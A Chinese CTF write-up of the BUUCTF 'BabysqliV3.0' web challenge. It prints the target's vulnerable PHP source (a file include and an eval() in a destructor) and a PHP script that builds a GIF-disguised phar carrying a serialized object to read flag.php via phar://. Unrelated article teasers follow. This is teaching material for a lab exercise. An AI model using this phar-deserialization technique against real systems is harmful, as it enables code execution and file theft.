79,【3】BUUCTF WEB [GXYCTF2019]BabysqliV3.0

进入靶场

现在做多了其他类型,老喜欢这个页面了,老朋友admin password

老规矩,桌面有啥就传啥

第一次点击上传什么都不显示

点了两次就有下面开头的那段话了

他在最后还偷偷骂了一句

确实连不上

再回顾一下题目

buuctf打不开了

只能看别人的wp了

以此wp为参考

[GXYCTF2019]BabysqliV3.0-CSDN博客

home.php

<?php
// 开启 session,用于存储和管理用户会话相关数据
session_start(); 
// 设置页面的 meta 信息,指定内容类型为 HTML 且字符编码为 utf - 8,同时设置页面标题为 Home
echo "<meta http-equiv=\"Content-Type\" content=\"text/html; charset=utf-8\" /> <title>Home</title>";
// 关闭错误报告,避免在页面上显示 PHP 错误信息
error_reporting(0);
// 检查用户是否已经通过 session 登录
if (isset($_SESSION['user'])) {
    // 检查是否通过 GET 方式传递了 file 参数
    if (isset($_GET['file'])) { 
        // 使用正则表达式进行匹配,不区分大小写检查 file 参数中是否包含 "flag" 相关字符序列,若包含则认为是恶意请求
        if (preg_match("/.?f.?l.?a.?g.?/i", $_GET['file'])) { 
            die("hacker!");
        } else {
            // 检查 file 参数值是否以 "home" 或 "upload" 结尾(不区分大小写)
            if (preg_match("/home$/i", $_GET['file']) or preg_match("/upload$/i", $_GET['file'])) {
                // 如果以 "home" 或 "upload" 结尾,则在参数值后自动添加 ".php" 后缀
                $file = $_GET['file'].".php"; 
            } else {
                // 否则在参数值后添加 ".fxxkyou!" 后缀
                $file = $_GET['file'].".fxxkyou!"; 
            }
            echo "当前引用的是 ". $file;
            // 引入处理后的文件,可能存在文件包含漏洞风险
            require $file; 
        }
    } else {
        die("no permission!");
    }
}
?>

upload.php

<?php
// 关闭所有 PHP 错误报告,防止错误信息泄露
error_reporting(0);

// 定义 Uploader 类,用于处理文件上传相关操作
class Uploader{
    // 定义公共属性,用于存储文件名
    public $Filename;
    // 定义公共属性,用于存储要执行的命令
    public $cmd;
    // 定义公共属性,用于存储用户令牌
    public $token;

    // 构造函数,当类的对象被创建时自动调用
    function __construct(){
        // 获取当前工作目录,并拼接上传目录和用户的 MD5 哈希值,作为沙盒目录
        $sandbox = getcwd()."/uploads/".md5($_SESSION['user'])."/";
        // 定义文件扩展名
        $ext = ".txt";
        // 尝试创建沙盒目录,权限设置为 0777,允许递归创建
        @mkdir($sandbox, 0777, true);

        // 检查是否通过 GET 方式传递了 name 参数,并且该参数不包含特定的危险字符串(如 data://、filter:// 等)
        if(isset($_GET['name']) and !preg_match("/data:\/\/ | filter:\/\/ | php:\/\/ | \./i", $_GET['name'])){
            // 如果满足条件,将传递的 name 参数赋值给 Filename 属性
            $this->Filename = $_GET['name'];
        } else {
            // 否则,使用沙盒目录、用户信息和扩展名组合成默认文件名
            $this->Filename = $sandbox.$_SESSION['user'].$ext;
        }

        // 初始化要执行的命令,输出提示信息
        $this->cmd = "echo '<br><br>Master, I want to study rizhan!<br><br>';";
        // 将用户令牌赋值给 token 属性
        $this->token = $_SESSION['user'];
    }

    // 上传文件的方法,接收一个文件信息数组作为参数
    function upload($file){
        // 声明全局变量,获取沙盒目录和文件扩展名
        global $sandbox;
        global $ext;

        // 检查文件名是否包含除字母和数字之外的字符
        if(preg_match("[^a-z0-9]", $this->Filename)){
            // 如果包含,将执行的命令设置为输出非法文件名错误信息并终止脚本
            $this->cmd = "die('illegal filename!');";
        } else {
            // 检查上传文件的大小是否超过 1024 字节
            if($file['size'] > 1024){
                // 如果超过,将执行的命令设置为输出文件过大错误信息并终止脚本
                $this->cmd = "die('you are too big (′▽`〃)');";
            } else {
                // 如果文件大小符合要求,将执行的命令设置为将临时文件移动到指定的文件名位置
                $this->cmd = "move_uploaded_file('".$file['tmp_name']."', '" . $this->Filename . "');";
            }
        }
    }

    // 当对象被当作字符串使用时,自动调用该方法
    function __toString(){
        // 声明全局变量,获取沙盒目录和文件扩展名
        global $sandbox;
        global $ext;
        // 返回文件名
        return $this->Filename;
    }

    // 析构函数,当对象被销毁时自动调用
    function __destruct(){
        // 检查令牌是否和当前会话中的用户令牌一致
        if($this->token != $_SESSION['user']){
            // 如果不一致,将执行的命令设置为输出令牌检查失败错误信息并终止脚本
            $this->cmd = "die('check token falied!');";
        }
        // 执行存储在 cmd 属性中的命令
        eval($this->cmd);
    }
}

// 检查是否通过 POST 方式上传了文件
if(isset($_FILES['file'])) {
    // 创建 Uploader 类的对象
    $uploader = new Uploader();
    // 调用 upload 方法处理上传的文件
    $uploader->upload($_FILES["file"]);
    // 尝试读取上传文件的内容
    if(@file_get_contents($uploader)){
        // 如果读取成功,输出提示信息和文件名
        echo "下面是你上传的文件:<br>".$uploader."<br>";
        // 输出上传文件的内容
        echo file_get_contents($uploader);
    }
}
?>

看完源代码,豁然开朗,(好歹知道了为啥出现f..k you了)

博主利用了这个eval方法

eval() 函数在 PHP(以及其他一些编程语言,如 JavaScript 等也有类似功能的函数)中被认为是一个危险的方法

再解释一下phar

  • Phar 简介:Phar(PHP Archive)是 PHP 提供的一种将多个 PHP 文件打包成一个文件的机制,类似于 Java 的 JAR 文件或者 Python 的 Egg 文件。它允许开发者将整个应用程序或者库打包成一个单一的文件,方便分发和部署。
  • Phar 序列化:在某些情况下,Phar 文件可能会涉及到序列化和反序列化操作。序列化是将对象的状态转换为可以存储或传输的格式(通常是字符串),而反序列化则是将这个格式还原为对象。在 PHP 中,当处理 Phar 文件时,如果其中包含对象,并且在代码中进行对象的序列化和反序列化操作,就会涉及到 Phar 序列化相关的问题。

刚才那个图片中有个if语句,需要满足

txt前面的是token认证

博主看见了/var/www/html就猜测flag.php在这个目录的下面

很敏感,确实应该想到,不过其实我没想到

<?php
// 定义一个名为 Uploader 的类,用于表示文件上传相关的操作或信息
class Uploader{
    // 定义公共属性 Filename,用于存储文件名,这里初始化为 'test'
    public $Filename='test';
    // 定义公共属性 cmd,用于存储要执行的命令,这里是高亮显示 /var/www/html/flag.php 文件的内容
    public $cmd='highlight_file("/var/www/html/flag.php");';
    // 定义公共属性 token,用于存储一个令牌,可能用于身份验证或其他安全机制
    public $token='GXYe3f43ab2c8516edac699d4649327bb1f';
}

// 创建 Uploader 类的一个实例 $a
$a = new Uploader();

// 创建一个新的 Phar 对象,指定 Phar 文件的名称为 'abbbbb.phar'
$phar = new Phar('abbbbb.phar');

// 开始对 Phar 文件的操作进行缓冲,避免在操作过程中频繁写入文件,提高性能
$phar->startBuffering();

// 设置 Phar 文件的存根(stub),存根是 Phar 文件开始执行时首先运行的代码。
// 这里将存根设置为 'GIF89a'(GIF 图片文件头)和 '<?php __HALT_COMPILER();? >',
// 这样做的目的可能是为了让 Phar 文件伪装成 GIF 图片文件,同时利用 __HALT_COMPILER() 函数来结束 PHP 代码的执行,直到文件末尾
$phar->setStub('GIF89a'.'<?php __HALT_COMPILER();? >');

// 将之前创建的 Uploader 类实例 $a 作为元数据添加到 Phar 文件中
// 元数据可以用来存储与 Phar 文件相关的额外信息,在后续操作中可以通过相应的方法获取
$phar->setMetadata($a);

// 向 Phar 文件中添加一个名为 'test.txt' 的文件,文件内容为 'test'
$phar->addFromString('test.txt', 'test');

// 停止缓冲,并将之前的操作结果写入到 'abbbbb.phar' 文件中
$phar->stopBuffering();
?>

博主说test是为了绕过if(preg_match("[^a-z0-9]", $this->Filename)),只能是纯字母或者纯数字

所以可以凭借喜欢随意更改

最后博主得到phar的路径,进行name=phar://路径就成功得到了flag

笔记

1,看见了/var/www/html要能猜测到flag.php在这个目录的下面

2,学会phar

3,伪协议

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/959503.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

[STM32 标准库]定时器输出PWM配置流程 PWM模式解析

前言&#xff1a; 本文内容基本来自江协&#xff0c;整理起来方便日后开发使用。MCU&#xff1a;STM32F103C8T6。 一、配置流程 1、开启GPIO&#xff0c;TIM的时钟 /*开启时钟*/RCC_APB1PeriphClockCmd(RCC_APB1Periph_TIM2, ENABLE); //开启TIM2的时钟RCC_APB2PeriphClockC…

立创开发板入门ESP32C3第八课 修改AI大模型接口为deepseek3接口

#原代码用的AI模型是minimax的API接口&#xff0c;现在试着改成最热门的deepseek3接口。# 首先按理解所得&#xff0c;在main文件夹下&#xff0c;有minimax.c和minimax.h, 它们是这个API接口的头文件和实现文件&#xff0c;然后在main.c中被调用。所以我们一步步更改。 申请…

InceptionV1_V2

目录 不同大小的感受野去提取特征 经典 Inception 网络的设计思路与运行流程 背景任务&#xff1a;图像分类&#xff08;以 CIFAR-10 数据集为例&#xff09; Inception 网络的设计思路 Inception 网络的运行流程 打个比方 多个损失函数的理解 1. 为什么需要多个损失函数&#…

汽车OEMs一般出于什么目的来自定义Autosar CP一些内容

汽车OEMs在使用AUTOSAR CP(Classic Platform)协议时,可能会根据自身的特定需求对标准协议进行修改,形成自己的企业标准(企标)。这种修改通常是为了满足特定的硬件平台、功能需求、安全要求或优化性能。以下是一些常见的修改场景和例子: 1. 硬件平台适配 企业可能会根据…

centos操作系统上以service形式运行blackbox_exporter监控网页端口

文章目录 前言一、blackbox_exporter是什么二、使用步骤1.获取二进制文件2.准备部署脚本3.执行命令&#xff0c;进行部署4.prometheus中增加需要监控页面的job信息 三、查看部署结果四、配置到grafana中总结 前言 记录一下centos操作系统上以简单的service形式运行blackbox_ex…

XML实体注入漏洞攻与防

JAVA中的XXE攻防 回显型 无回显型 cve-2014-3574

解决vsocde ssh远程连接同一ip,不同端口情况下,无法区分的问题

一般服务器会通过镜像分身或者容器的方式&#xff0c;一个ip分出多个端口给多人使用&#xff0c;但如果碰到需要连接同一user&#xff0c;同一个ip,不同端口的情况&#xff0c;vscode就无法识别&#xff0c;如下图所示&#xff0c;vscode无法区分该ip下不同端口的连接&#xff…

dl学习笔记:(7)完整神经网络流程

完整神经网络流程 反向传播链式求导 代码实现反向传播动量法Momentum开始迭代为什么选择小批量TensorDataset与DataLoader 反向传播 由于本节的公式比较多&#xff0c;所以如果哪里写错了漏写了&#xff0c;还请帮忙指出以便进行改正&#xff0c;谢谢。 在前面的章节已经介绍过…

【esp32-uniapp】uniapp小程序篇02——引入组件库

一、引入组件库&#xff08;可自行选择其他组件库&#xff09; 接下来介绍colorUI、uview plus的安装&#xff0c;其他的安装可自行查找教程 1.colorUI weilanwl/coloruicss: 鲜亮的高饱和色彩&#xff0c;专注视觉的小程序组件库 下载之后解压&#xff0c;将\coloruicss-ma…

CNN-BiLSTM卷积双向长短期记忆神经网络时间序列预测(Matlab完整源码和数据)

CNN-BiLSTM卷积双向长短期记忆神经网络时间序列预测&#xff08;Matlab完整源码和数据&#xff09; 目录 CNN-BiLSTM卷积双向长短期记忆神经网络时间序列预测&#xff08;Matlab完整源码和数据&#xff09;预测效果基本介绍 CNN-BiLSTM卷积双向长短期记忆神经网络时间序列预测一…

算法中的移动窗帘——C++滑动窗口算法详解

1. 滑动窗口简介 滑动窗口是一种在算法中常用的技巧&#xff0c;主要用来处理具有连续性的子数组或子序列问题。通过滑动窗口&#xff0c;可以在一维数组或字符串上维护一个固定或可变长度的窗口&#xff0c;逐步移动窗口&#xff0c;避免重复计算&#xff0c;从而提升效率。常…

MFC结构体数据文件读写实例

程序功能将结构体内数组数据写入文件和读出 2Dlg.h中代码: typedef struct Student {int nNum[1000];float fScore;CString sss;}stu; class CMy2Dlg : public CDialog { // Construction public:CMy2Dlg(CWnd* pParent NULL); // standard constructorstu stu1; ... } 2Dl…

数据结构:二叉树—面试题(一)

目录 1、相同的树 2、另一棵树的子树 3、翻转二叉树 4、平衡二叉树 5、对称二叉树 6、二叉树遍历 7、二叉树的分层遍历 1、相同的树 习题链接https://leetcode.cn/problems/same-tree/description/ 描述&#xff1a; 给你两棵二叉树的根节点 p 和 q &#xff0c;编写一…

绘制决策树尝试2 内含添加环境变量步骤

目录 step1 ai码 ai改 step2 下面就是环境配置问题 “ExecutableNotFound: failed to execute WindowsPath(‘dot’), make sure the Graphviz executables are on your systems’ PATH” dot -v愣是没有​编辑 graphviz安装指导 对于Windows用户&#xff1a; 对于Lin…

基于迁移学习的ResNet50模型实现石榴病害数据集多分类图片预测

完整源码项目包获取→点击文章末尾名片&#xff01; 番石榴病害数据集 背景描述 番石榴 &#xff08;Psidium guajava&#xff09; 是南亚的主要作物&#xff0c;尤其是在孟加拉国。它富含维生素 C 和纤维&#xff0c;支持区域经济和营养。不幸的是&#xff0c;番石榴生产受到降…

C++17 命名空间的新特性:简化与优化的典范

文章目录 1. 简化的嵌套命名空间1.1 背景与问题1.2 C17的解决方案1.3 实际应用场景1.4 注意事项 2. 声明多个名称的using声明2.1 背景与问题2.2 C17的解决方案2.3 实际应用场景2.4 注意事项 3. 属性命名空间的简化3.1 背景与问题3.2 C17的解决方案3.3 实际应用场景3.4 注意事项…

【JavaEE】-- 计算机是如何工作的

文章目录 1. 冯诺依曼体系&#xff08;VonNeumann Architecture)2. CPU 基本工作流程2.1 寄存器(Register)和 内存(RAM)2.2 控制单元 CU(ControlUnit)2.3 指令&#xff08;Instruction) 3. 操作系统&#xff08;OperatingSystem)3.1 操作系统的定位3.2 什么是进程/任务(Process…

消融效果

消融效果是模拟物体逐渐从屏幕上消失或溶解的过程&#xff0c;它通常利用噪声纹理实现&#xff0c;使物体按照某种规则逐渐透明或完全不可见。这种效果常用于&#xff1a; 角色死亡、传送场景、 魔法消失&#xff0c;比如燃烧、消失等 1、基本原理 通过对比噪声纹理值与消融进…

java后端之事务管理

Transactional注解&#xff1a;作用于业务层的方法、类、接口上&#xff0c;将当前方法交给spring进行事务管理&#xff0c;执行前开启事务&#xff0c;成功执行则提交事务&#xff0c;执行异常回滚事务 spring事务管理日志&#xff1a; 默认情况下&#xff0c;只有出现Runti…

【Paper Tips】随记2-word版快速删除某字符

写paper时随心记录一些对自己有用的skills与tips。 文章目录 一、待解决问题1.1 问题描述1.2 解决方法 二、方法详述2.1 必要说明2.2 应用步骤2.2.1 CtrlH一键全文替换2.2.2 录制宏 三、疑问四、总结 一、待解决问题 1.1 问题描述 word中粘贴部分文字时&#xff0c;格式不对时…